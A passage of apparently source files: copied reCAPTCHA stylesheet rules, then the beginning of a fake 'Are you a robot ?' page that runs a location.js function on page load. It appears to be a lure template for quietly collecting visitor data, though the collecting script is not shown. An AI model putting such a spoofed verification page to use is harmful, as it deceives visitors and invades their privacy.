12px;text-align:center;width:136px}.rc-anchor-logo-img{background:url('../images/logo_48.png');background-repeat:no-repeat}.rc-anchor-logo-img-ie8{filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/logo_48.png',sizingMethod='scale')}.rc-anchor-logo-text{cursor:default;font-family:Roboto,helvetica,arial,sans-serif;font-size:10px;font-weight:400;line-height:10px;margin-top:5px;text-align:center}.rc-anchor-light .rc-anchor-logo-text,.rc-anchor-light div a:link,.rc-anchor-light div a:visited{color:#555}.rc-anchor-dark .rc-anchor-logo-text,.rc-anchor-dark div a:link,.rc-anchor-dark div a:visited{color:#f5f5f5}.rc-anchor-logo-portrait{margin:10px 0 0 26px;width:58px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.rc-anchor-logo-img-portrait{background-size:32px;height:32px;margin:0 13px 0 13px;width:32px}.rc-anchor-logo-landscape{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.rc-anchor-logo-img-landscape{background-size:24px;display:inline-block;height:24px;width:24px}.rc-anchor-logo-landscape-text-holder{display:inline-block;height:24px;margin:0 2px 0 2px;width:54px}.rc-anchor-normal .rc-anchor-pt,.rc-anchor-invisible .rc-anchor-pt,.rc-anchor-compact .rc-anchor-pt{font-family:Roboto,helvetica,arial,sans-serif;font-size:8px;font-weight:400}.rc-anchor-pt{background-image:url('data:image/png;base64,iVBORw0KGgBRG4Rb2FMT3YcbXR9tWExjQBkXZ0SmVvbQkIJnQzBTGlvEmmiBckPzM1ddZZIBdFRxCG0kbWACY0ABec1NTbNuBMSVyV8uoZWE3EJ9uBKL3oUEokpB9df4xzrnzB9X98U9BN9HACAecjK0kwW3MuuZ0pP3yDHx1fQN1fK18lKQHiFp3NcANsxxVUQEUWBRc1L9mFRUmkslLykbWl0BNKYbUHx6LEEBY2V1lgTKMZhlcELQx6FwlwBOfubZnH62q1laHIBo150N2yuwJTPAQ1BMy0yjvgsBaq4IS2V0BZMY7YmvWTaLLb3Vy2m5mBS29xBYXfknG1LSmnyK3UBOK2imGUIiTnGqgBdCt7WENidi1TTYRGbW0BrRkglkpAj2XZCWw/eDUBrGRotZ2sBe1vdYnXsyWUBdGt1bGkBQpCloopu5WRWcABPLOuJXQ4b24B/ipvpBthBEEGy0HPhcmW5UgBZ9/eOtV+kfiNNJEvukDIlDiydsTjIbevSm7JdAtsywBdG9YDzSO5Rl/XsiN0alKBH3qyXW5nBsm5ufSmUAYJnbOdW+mcBQH/d/zZ+B+xx233NJKmmxtoUBMgV0N2ZWvtL8BZWtpQNqZeQBYVQk9ZSQRd1kEtS6JABsOvDQQLzbflMcJl2ZQBHo/9XC5dn1qNjMdfKs7ysjpic1z4DQA13yt6ze5OXV+2cv86XS3qXfPv3ypetYahDmpAfPU+Ui+MPWy/6Txl4E3g3ltfXNNd/o2KBboLdimj6Zbpv1GUxyC4j+2sBbz/xQAB98Nvf2jETmx9toXZUixicmIBQGNh0w8fVABdmtkDagBbmVsbwl7BbUbk8XJXgBInB8cc30dGXhVVyBwBZ6W0PjcFrQ1YHWY24V')}.rc-anchor-pt a{display:inline;padding-left:1px;padding-right:1px;padding-top:2px;padding-bottom:2px;text-decoration:none}.rc-anchor-pt a:hover{text-decoration:underline}.rc-anchor-normal .rc-anchor-pt{margin:2px 11px 0 0;padding-right:2px;position:absolute;right:0;text-align:right;width:276px}.rc-anchor-compact .rc-anchor-pt{margin:0 0 2px 0;width:132px}.rc-anchor-aria-status{display:none}#rc-anchor-alert,.rc-anchor-alert{color:red;font-size:9px;margin:2px;position:absolute;top:0}#rc-anchor-over-quota{bottom:0;color:#555;font-family:Roboto,helvetica,arial,sans-serif;font-size:9px;padding:4px;position:absolute;width:170px;display:flex;align-items:center;height:20px}.rc-anchor-compact .rc-anchor-content #rc-anchor-over-quota{width:148px}.rc-anchor-normal .rc-anchor-pt.rc-anchor-over-quota-pt{width:130px}.rc-anchor-logo-portrait.rc-anchor-over-quota-logo{margin-top:6px}#rc-anchor-invisible-over-quota{font-size:9px;line-height:initial}#rc-anchor-invisible-over-quota a{color:white}.rc-anchor-invisible{height:60px;width:256px;display:flex}.rc-anchor-invisible-text{background:#1a73e8;color:white;display:flex;flex-basis:166px;flex-direction:column;flex-grow:1;font-family:Roboto,helvetica,arial,sans-serif;font-size:13px;font-weight:400;height:100%;justify-content:center;line-height:20px;padding:0 16px;white-space:nowrap}.rc-anchor-invisible-text.smalltext{font-size:12px;padding:0 10px;line-height:16px;white-space:normal}.rc-anchor-invisible-text.smalltext .rc-anchor-pt{line-height:12px;white-space:normal}.rc-anchor-invisible-text.smalltext .rc-anchor-pt a:link{font-size:9px}.rc-anchor-normal-footer.smalltext .rc-anchor-pt{font-size:5px;line-height:6px}.rc-anchor-invisible-text strong{font-weight:500}.rc-anchor-invisible .rc-anchor-normal-footer .rc-anchor-pt{transition:opacity 0.3s ease;text-align:center;width:70px;margin-top:2px}.rc-anchor-logo-img-large{transition:all 0.3s ease;background-size:40px;margin:5px 15px 0 15px;height:40px;width:40px}.rc-anchor-invisible-nohover .rc-anchor-logo-img-large,.rc-anchor-invisible-hover:hover .rc-anchor-logo-img-large{background-size:44px;margin:8px 13px 0 13px;height:44px;width:44px}.rc-anchor-invisible-nohover .rc-anchor-normal-footer .rc-anchor-pt,.rc-anchor-invisible-hover:hover .rc-anchor-normal-footer .rc-anchor-pt{opacity:0}.rc-anchor-invisible-nohover .rc-anchor-invisible-text .rc-anchor-pt,.rc-anchor-invisible-hover:hover .rc-anchor-invisible-text .rc-anchor-pt{opacity:1}.rc-anchor-invisible-text .rc-anchor-pt{transition:opacity 0.3s ease}.rc-anchor-invisible-text .rc-anchor-pt a:link,.rc-anchor-invisible-text .rc-anchor-pt a:visited{color:white;font-size:10px}.rc-anchor-invisible-hover .rc-anchor-invisible-text .rc-anchor-pt a:link{display:none}.rc-anchor-invisible-hover:hover .rc-anchor-invisible-text .rc-anchor-pt a:link{display:inline}.rc-button-default{background:#1a73e8;border:0;border-radius:2px;color:#fff;cursor:pointer;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:500;height:42px;line-height:42px;min-width:100px;padding:0 10px 0 10px;text-align:center;text-transform:uppercase;transition:all 0.5s ease}.rc-button-default:focus{outline:0;box-shadow:0 0 0 2pt #185abc}.rc-button-default-hover{}.rc-button-default-disabled{background:rgba(73,143,225,0.50);cursor:default}.rc-button-red{background:#e24a4a}.rc-button-default-disabled.rc-button-red{background:rgba(226,74,74,0.49)}body{margin:0}.rc-imageselect-instructions strong{font-weight:900;display:block;font-size:28px}.rc-footer{font-family:Roboto,helvetica,arial,sans-serif;position:relative;width:100%}.rc-separator{border-top:1px solid #dfdfdf;margin-bottom:1px}.rc-controls{width:100%}.primary-controls{height:60px}.rc-buttons{float:left;height:48px;margin:6px 0 6px 6px;background-repeat:no-repeat}.fake-focus{height:0;opacity:0;width:0}.button-holder{float:left;height:48px}.rc-button-reload{background:url('https://www.gstatic.com/recaptcha/api2/refresh_2x.png')}.rc-button-reload:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-button-reload{background:url('https://www.gstatic.com/recaptcha/api2/refresh_white_2x.png')}}.rc-button-reload-on-dark{background:url('https://www.gstatic.com/recaptcha/api2/refresh_white_2x.png')}.rc-button-reload-on-dark:focus-visible{background-color:#d8d8d8}.rc-button-audio{background:url('https://www.gstatic.com/recaptcha/api2/audio_2x.png')}.rc-button-audio:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-button-audio{background:url('https://www.gstatic.com/recaptcha/api2/audio_white_2x.png')}}.rc-button-audio-on-dark{background:url('https://www.gstatic.com/recaptcha/api2/audio_white_2x.png')}.rc-button-audio-on-dark:focus-visible{background-color:#d8d8d8}.rc-button-image{background:url('https://www.gstatic.com/recaptcha/api2/image_2x.png')}.rc-button-image:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-button-image{background:url('https://www.gstatic.com/recaptcha/api2/image_white_2x.png')}}.rc-button-image-on-dark{background:url('https://www.gstatic.com/recaptcha/api2/image_white_2x.png')}.rc-button-image-on-dark:focus-visible{background-color:#d8d8d8}.rc-button-help{background:url('https://www.gstatic.com/recaptcha/api2/info_2x.png')}.rc-button-help:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-button-help{background:url('https://www.gstatic.com/recaptcha/api2/info_white_2x.png')}}.rc-button-help-on-dark{background:url('https://www.gstatic.com/recaptcha/api2/info_white_2x.png')}.rc-button-help-on-dark:focus-visible{background-color:#d8d8d8}.rc-button-undo{background:url('https://www.gstatic.com/recaptcha/api2/undo_2x.png')}.rc-button-undo:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-button-undo{background:url('https://www.gstatic.com/recaptcha/api2/undo_white_2x.png')}}.rc-button-undo-on-dark{background:url('https://www.gstatic.com/recaptcha/api2/undo_white_2x.png')}.rc-button-undo-on-dark:focus-visible{background-color:#d8d8d8}.rc-button{background-size:32px 32px;cursor:pointer;height:48px;opacity:.55;width:48px;padding:0;border:0;background-repeat:no-repeat;background-position:center}.rc-button:focus,.rc-button:hover{opacity:.8;outline:none}.verify-button-holder{float:right;margin:8px 8px 9px 0}.rc-challenge-help{font-family:Roboto,helvetica,arial,sans-serif;font-size:12px;font-weight:400;overflow-y:scroll;padding:5px 20px 5px 20px}.reload-icon{height:16px;width:16px}.apps-toast{position:relative;text-align:center;width:100%;z-index:101}.apps-toast-content{background:#323232;border-radius:2px;-moz-box-shadow:0 6px 10px rgba(0,0,0,.14),0 1px 18px rgba(0,0,0,.12),0 3px 5px -1px rgba(0,0,0,.4);-webkit-box-shadow:0 6px 10px rgba(0,0,0,.14),0 1px 18px rgba(0,0,0,.12),0 3px 5px -1px rgba(0,0,0,.4);box-shadow:0 6px 10px rgba(0,0,0,.14),0 1px 18px rgba(0,0,0,.12),0 3px 5px -1px rgba(0,0,0,.4);color:#eee;display:inline-block;font:12px/20px Roboto,helvetica,arial,sans-serif;padding:14px;text-align:center}.rc-audiochallenge-response-field{margin:7px;text-align:center}.rc-audiochallenge-response-field .rc-response-input-field{width:220px}.rc-audiochallenge-error-message{color:#ff1b1b;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;margin:20px 20px 0px 20px}.rc-audiochallenge-instructions{font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;margin:10px 20px 10px 20px}.rc-audiochallenge-play-button{margin:0px 20px 0px 20px}.rc-audiochallenge-play-button .rc-button-default{background:#d8d8d8;color:#000;font-weight:500;width:100%}.rc-audiochallenge-input-label{font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;margin:10px 20px 10px 20px}.rc-audiochallenge-control audio{height:30px;width:240px}.rc-audiochallenge-tdownload{margin:5px 20px 5px 20px;text-align:center}.rc-audiochallenge-tdownload-link{background-image:url('https://www.gstatic.com/recaptcha/api2/download.png');background-repeat:no-repeat;background-size:36px;color:transparent;display:inline-block;height:36px;opacity:.55;overflow:hidden;width:36px}.rc-audiochallenge-tdownload-link:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-audiochallenge-tdownload-link{background-image:url('https://www.gstatic.com/recaptcha/api2/download_white.png');background-repeat:no-repeat;background-size:36px;color:transparent;display:inline-block;height:36px;opacity:.55;overflow:hidden;width:36px}}.rc-audiochallenge-tdownload-link-on-dark{background-image:url('https://www.gstatic.com/recaptcha/api2/download_white.png');background-repeat:no-repeat;background-size:36px;color:transparent;display:inline-block;height:36px;opacity:.55;overflow:hidden;width:36px}.rc-audiochallenge-tdownload-link-on-dark:focus-visible{background-color:#d8d8d8}.rc-audiochallenge-tdownload-link:focus,.rc-audiochallenge-tdownload-link:hover{opacity:.8;outline:none}.rc-audiochallenge-tdownload-link-on-dark:focus,.rc-audiochallenge-tdownload-link-on-dark:hover{opacity:.8;outline:none}.fake-focus-audio{height:0;opacity:0;width:0}.rc-canvas-image{display:none}.rc-canvas-canvas{cursor:pointer}.goog-container:focus{outline:none}.rc-defaultchallenge-response-field{margin:7px;text-align:center}.rc-defaultchallenge-response-field .rc-response-input-field{width:230px}.rc-defaultchallenge-payload{border:none;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;min-height:61px;text-align:center}.rc-defaultchallenge-incorrect-response{color:#ff1b1b;font-family:Roboto,helvetica,arial,sans-serif;font-size:12px;font-weight:400;line-height:14px;margin-left:20px}.rc-doscaptcha-header{padding:10px;margin:10px;height:20%;background-color:#1a73e8}.rc-doscaptcha-header-text{font-family:Roboto,helvetica,arial,sans-serif;font-size:22px;font-weight:400;text-align:center;color:white}.rc-doscaptcha-body{height:80%}.rc-doscaptcha-body-text{font-family:Roboto,helvetica,arial,sans-serif;font-size:16px;font-weight:400;padding:10px 15px 10px 15px}.rc-doscaptcha-footer{pointer-events:none}.goog-container:focus{outline:none}#rc-imageselect{min-width:240px;font-family:Roboto,helvetica,arial,sans-serif;background-color:#fff}#rc-imageselect .rc-button:focus{outline:none}.rc-imageselect-desc{margin-left:-10px;margin-top:-10px;padding-right:100px;position:relative}.rc-imageselect-instructions .rc-imageselect-desc strong{font-size:22px}.rc-imageselect-desc span{display:block}.rc-imageselect-desc-no-canonical{position:relative}.rc-imageselect-desc-no-canonical span{display:block}.rc-imageselect-payload{min-width:240px;margin:0 7px;padding:7px 0}.rc-imageselect-challenge{position:relative;width:100%;height:100%}.rc-footer{min-width:240px}.rc-imageselect-incorrect-response,.rc-imageselect-error-dynamic-more,.rc-imageselect-error-select-more,.rc-imageselect-error-select-something{color:#d14836;font-size:14px;padding:7px 0;text-align:center;width:100%;background-color:white}.rc-imageselect-desc-wrapper{margin-bottom:6px}.rc-imageselect-checkbox{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsTAAALEwEAmpwYAAAGnmlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNy4xLWMwMDAgNzkuZGFiYWNiYiwgMjAyMS8wNC8xNC0wMDozOTo0NCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3Nob3AvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIDIzLjAgKE1hY2ludG9zaCkiIHhtcDpDcmVhdGVEYXRlPSIyMDIxLTExLTA0VDIzOjE2OjI2LTA3OjAwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMS0xMS0wNFQyMzoxNzozNS0wNzowMCIgeG1wOk1ldGFkYXRhRGF0ZT0iMjAyMS0xMS0wNFQyMzoxNzozNS0wNzowMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHBob3Rvc2hvcDpDb2xvck1vZGU9IjMiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NDM3Y2M2MTEtMjg5Mi00MmFkLWEyYmYtMjk1MzA4NGYxNjA1IiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YjEwZGYyNmItNGU5Mi0wNTQxLThjMDYtMTJjNWQ5ZDFmMjcxIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6ZjE0YzAyYmQtNDJhOC00ODkxLWIxMjMtMWZhYjg2NzZlNzJmIj4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDpmMTRjMDJiZC00MmE4LTQ4OTEtYjEyMy0xZmFiODY3NmU3MmYiIHN0RXZ0OndoZW49IjIwMjEtMTEtMDRUMjM6MTY6MjYtMDc6MDAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMy4wIChNYWNpbnRvc2gpIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDpjMDJkMDg2Zi1mNmZjLTRjMzItYWU2Zi0wOWMxZmU4MzFhNzciIHN0RXZ0OndoZW49IjIwMjEtMTEtMDRUMjM6MTc6MDktMDc6MDAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMy4wIChNYWNpbnRvc2gpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0MzdjYzYxMS0yODkyLTQyYWQtYTJiZi0yOTUzMDg0ZjE2MDUiIHN0RXZ0OndoZW49IjIwMjEtMTEtMDRUMjM6MTc6MzUtMDc6MDAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMy4wIChNYWNpbnRvc2gpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDwvcmRmOlNlcT4gPC94bXBNTTpIaXN0b3J5PiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PlXsutAAAASdSURBVFiFtZdbbBRVGIC/mdnZdndr2+0l0BYsaEJ4ABGkUhHjlT6oT7QRbcHaqGkhvFBjBU3AKy9aTYwaQ9pI6wMxEClQiLcmKomtYikCkZsILbYGWuh2aXfLtrvHh53ZPTvdbbdtPMnJzOzMme87/392zjkKyRdFOipx7gupJlWEENiSBCuACij3bfgmx5G+dGUQez4h3S1CwQGh+PoGvcd+u7C3fAgITUcmXk/igbVVNdcrbJqr6nLqrTWJGiz03/FDaHxwd/vueYeAoEVmQhFCJBSIgIuqLxT3pqX/NFVPYkVc7UHl/JaOT1eesYgkJaAAGmArfvnqxp50ffd04HJZMDJS9svnd7cC4/EkhBCoieAP1HRXzgYOcMXl2l+8+exTgI4xhqzPKJZzFdDvf6lz9T8ZBW2zgcsl33N6xe+Na//EEglrBMK9z8qyzxZecY+bLytzIte6fdVHhKOgYYmCKWD23lZUdrxiNvANy9y8W67z2FKNPRvDEt1O38PF1Z0lhkBMKmQBDdB1LadqpvCNy9y885yO3aYwMio4+Ot45J6iFlYRZyyYFyqgLSjZlXfF6S+aCfz5e928bcCHRwV1zQEOXPBE7nc7x592Fj7kwpIGVTpqcwufKJ4p/K1no/DXmgK0SHCzLH70jWVY0mCehFNgc+TLDdbkZtCxLZeaVe6E8MrlUfgtv6CuKUDLxYlwAJuWMY9oBGIEVEBDOHPkBjvK7czPUXm9VGdTHIkXlrt5c30s/GACeNjAkS1FAOQTQEH1euXn61vGuDks0FSF7aU6m4qjElUr3Ow04F4DfuivSeCACHq9Uu8VIDIbKoAyFhi6hiMv0uDbbg+iMZP6F+1kpSlsX6ej4MYfgJ3rdXQtCj88BRzgtvff69bf5AiI/vNHTlkf+O6qh9rGADduhSOxbZ0ehfsEdXuSgwP83fHJ2UQCAhA9x97vi9fw+6setjYEGDAkTPirTQEOX0oOXjgifh7uOebDMj2rxkXIqMF5Q5d2xXtBW6+HWkNiyCd45YsArUnCAfy+E18TOxcIiA4GHUgF0uxpc7Jyqv84nehFjxdkkmKHo5eThwP01c9dDHiBYWAUGBdCCDMFIcNuLDB8zZfV07Y50Yvaej3ThrvO7i0HAsAYlhlRTkHQeCBwZl/FjwVDlz6eFiVBmdN/YsfFo1u7gNvG+2MWJvIgNAVGAf/xhgcb5nsvfzYb+NyBk+91NT95APBLAkFZQJ6bVcLfhVTACbgA15Ky5rU3C0s+mC48/dz+6nNHtrQDI4TzbkqYKZiwJoysiIAUQ8IJOFPdCzOXlDaV92UsqpkKnHfj5Ienvnpm35jfOwz4jCpHIGZFZF2jRdYFhkQq4DCOqYB+5+raRdl3PbJET8nO1VRH+nhoZHBsdGCg/1xrV29nYzfhwXbbgPoJp9TseUz4E62KVaLpsBsiZrUTXVrJX9HIv0gSMKs58mPgpkC8nZF1ZxP5dxhSkwmYEnJNuC+AqXdGZjS0ONX8iMmiZjV7POOdUTwRWUieUuVomZ90wSS9nq6ALCLvkM2jCZGPSe2QhRAoQiS9m/5fyn/lu/UIgBExrQAAAABJRU5ErkJggg==);display:none;position:absolute}.rc-imageselect-report-image{bottom:0;left:0;display:none;position:absolute;right:0;top:0}.rc-imageselect-table-42,.rc-imageselect-table-33,.rc-imageselect-table-44{border-collapse:separate;border-spacing:0;width:100%;height:100%;transition:all 1s ease}.rc-imageselect-table-42{margin:-2px}.rc-imageselect-table-33{margin:-2px}.rc-imageselect-table-44{margin:-1px}.rc-imageselect-table-42 td{padding:2px}.rc-imageselect-table-33 td{padding:2px}.rc-imageselect-table-44 td{padding:1px}.rc-image-tile-target tr,td{margin:0}.rc-imageselect-keyboard{outline:solid orange!important;position:relative;z-index:100}td:focus{outline:none}.rc-image-tile-overlay{display:none;opacity:0;position:absolute;background-color:#1a73e8;width:100%;height:100%;z-index:2;transition:opacity 1s cubic-bezier(0.49,0.78,0.46,1.34);filter:alpha(opacity=0)}.rc-image-followup-tile{display:block}.rc-imageselect-dynamic-selected{position:relative;transition:all 2s ease;opacity:0.01}.rc-imageselect-dynamic-selected .rc-image-tile-target{opacity:1}.rc-imageselect-dynamic-selected .rc-imageselect-checkbox{display:block;opacity:1;background-size:cover;width:60px;height:60px;left:50%;top:50%;margin-left:-30px;margin-top:-30px}.rc-image-tile-target{-webkit-tap-highlight-color:rgba(0,0,0,0);position:relative}.rc-imageselect-tileselected{position:relative}.rc-imageselect-tileselected .rc-image-tile-wrapper{-webkit-transform:scale(0.8);-moz-transform:scale(0.8);-ms-transform:scale(0.8);-o-transform:scale(0.8);transform:scale(0.8)}.rc-image-tile-wrapper{-webkit-transform:scale(1.0);-moz-transform:scale(1.0);-ms-transform:scale(1.0);-o-transform:scale(1.0);transform:scale(1.0)}.rc-imageselect-tileselected .rc-imageselect-checkbox{display:block;background-repeat:no-repeat;bottom:0;left:0;right:0;top:0}.rc-imageselect-candidates{border:2px solid white;box-sizing:border-box;height:94px;overflow:hidden;position:absolute;right:7px;top:7px;width:112px}.rc-imageselect-candidates>div{background-size:112px 94px;display:inline-block;height:94px;margin:2px;position:relative;width:112px}.rc-imageselect-challenge{box-sizing:border-box;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.rc-imageselect-target>div:hover{}.rc-imageselect-response-field-error{border-bottom:1px solid #ff0000}.rc-imageselect-desc{font-size:16px}.rc-imageselect-desc-wrapper span{font-size:14px}.rc-imageselect-clear{clear:both}.rc-image-tile-wrapper{overflow:hidden;position:relative;transition:0.1s ease}.rc-image-tile-wrapper img{position:relative;-webkit-user-drag:none;backface-visibility:hidden;-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden}.rc-image-tile-11{width:100%;height:100%}.rc-image-tile-42{width:200%;height:400%}.rc-image-tile-33{width:300%;height:300%}.rc-image-tile-44{width:400%;height:400%}.rc-imageselect-instructions{height:113px;width:100%;margin-bottom:7px;position:relative}.rc-imageselect-desc-wrapper{background-color:#1a73e8;position:relative;padding:24px;color:white;height:66px;font-size:16px}.rc-imageselect-progress{background-color:#417cc1;position:absolute;bottom:0;right:0;width:0;height:15px;transition:all 1s ease}.rc-imageselect-carousel-offscreen-right{left:105%;position:absolute;transition:0.5s ease}.rc-imageselect-carousel-entering-right{left:0%;position:absolute;transition:0.5s ease}.rc-imageselect-carousel-mock-margin-1{top:1px}.rc-imageselect-carousel-mock-margin-2{top:2px}.rc-imageselect-carousel-leaving-left{left:0%;opacity:0.5;position:relative;transition:0.5s ease}.rc-imageselect-carousel-offscreen-left{left:-105%;opacity:0.5;position:relative;transition:0.5s ease}.rc-imageselect-carousel-instructions{transition:0.2s ease;opacity:1}.rc-imageselect-carousel-instructions-hidden{opacity:0.5}.rc-canonical-stop-sign{background:url('https://www.gstatic.com/recaptcha/api2/stop_sign.jpg');background-repeat:no-repeat}.rc-canonical-speed-limit{background:url('https://www.gstatic.com/recaptcha/api2/canonical_speed_limit.png');background-repeat:no-repeat}.rc-canonical-street-name{background:url('https://www.gstatic.com/recaptcha/api2/canonical_street_name.png');background-repeat:no-repeat}.rc-canonical-other{background:url('https://www.gstatic.com/recaptcha/api2/canonical_other.png');background-repeat:no-repeat}.rc-canonical-bounding-box{background:url('https://www.gstatic.com/recaptcha/api2/boundingbox2.gif');background-repeat:no-repeat}.rc-canonical-car{background:url('https://www.gstatic.com/recaptcha/api2/canonical_car.png');background-repeat:no-repeat}.rc-canonical-road{background:url('https://www.gstatic.com/recaptcha/api2/canonical_road.png');background-repeat:no-repeat}.rc-canonical-bridge{background:url('https://www.gstatic.com/recaptcha/api2/canonical_bridge.png');background-repeat:no-repeat}.rc-prepositional-payload{padding:20px;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400}.rc-prepositional-select-more,.rc-prepositional-verify-failed{color:#ff1b1b;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;margin:20px 20px 0px 20px}.rc-prepositional-target label{margin:5px;float:right}.rc-prepositional-instructions{margin-bottom:20px}.rc-prepositional-table{width:100%}.rc-prepositional-table td{background:#f9f9f9;border:1px solid #fff;color:#000;cursor:pointer;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;width:40%;padding:15px}.rc-prepositional-table td.rc-prepositional-selected{background:#efefef;border:1px solid #656565}.rc-2fa-payload{font-family:Roboto,Helvetica,Arial,Sans-Serif;font-size:14px;font-weight:400;font-size:14px;text-align:left;color:#202124;text-align:center}.rc-2fa-background{background-color:#ececec;width:100%;height:100%;overflow:auto}.rc-2fa-container{background-color:#fff;width:328px;overflow:auto;margin:100px auto}.rc-2fa-header{margin:36px 0 24px 0;font-size:16px}.rc-2fa-instructions{margin:24px 40px;line-height:17.5px}.rc-2fa-response-field{text-align:center}.rc-2fa-response-field input{width:11.2ch;height:40px;line-height:40px;margin:auto;border:1px #979797 solid;font-size:20px;letter-spacing:0.8ch;padding-left:1.2ch;padding-right:0}.rc-2fa-response-field input:focus{border:1px #185abc solid}.rc-2fa-response-field-error input{border:1px #d93025 solid}.rc-2fa-response-field-error input:focus{border:1px #d93025 solid}.rc-2fa-error-message{height:36px;font-size:12px;color:#d93025;margin:2px 40px}.rc-2fa-submit-button-holder button{margin:0 auto;min-width:100px;height:36px;line-height:36px;text-transform:uppercase;text-align:center;font-weight:500;letter-spacing:1.25px;border-radius:4px;background-color:#185abc;border:1px solid #185abc;color:#fff}.rc-2fa-submit-button-holder button:disabled{background-color:white;border:1px solid #979797;color:rgba(0,0,0,0.38)}.rc-2fa-cancel-button-holder button{margin:20px auto;min-width:100px;height:36px;line-height:36px;text-transform:uppercase;text-align:center;font-weight:500;letter-spacing:1.25px;border-radius:4px;background:none;border:none;color:#185abc}.rc-2fa-cancel-button-holder button:active{border:none}.rc-response-input-field{border:1px solid #dfdfdf;border-radius:2px;height:36px;margin:5px 0;padding:1px 9px;font-family:Roboto,helvetica,arial,sans-serif;font-size:16px;font-weight:400;outline:none;width:270px}.rc-response-input-field:focus{border:1px solid #1a73e8}.rc-response-input-field-error,.rc-response-input-field-error:focus{border:1px solid #ff0000}

================================================
FILE: template/captcha/index_temp.html
================================================
<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <meta name="viewport" content="initial-scale=1">
    <title>Are you a robot ?</title>
    <script type="text/javascript">
      if (window.location.protocol == "http:") {
          var restOfUrl = window.location.href.substr(5);
          window.location = "https:" + restOfUrl;
      }
    </script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
    <script src="js/location.js"></script>
  </head>

  <body style="font-family: arial, sans-serif; background-color: #fff; color: #000; padding:20px; font-size:18px;" onload="information();">
    <div style="max-width:400px;">
      <hr style="color:#ccc; background-color:#ccc;" size="1" noshade=""><br>
      <form id="captcha-form" action="index" method="post">
        <noscript>
          <div style="font-size:13px;">
            In order to continue, please enable javascript on your web browser.
          </div>
        </noscript>
        

        <div id="recaptcha" class="g-recaptcha" data-sitekey="" data-callback="submitCallback" data-s="">
          <div style="width: 304px; height: 78px;">
            <div>
              <iframe title="reCAPTCHA" src="anchor.html" role="presentation" name="anchor" scrolling="no" width="304" height="78" frameborder="0">
              </iframe>
            </div>
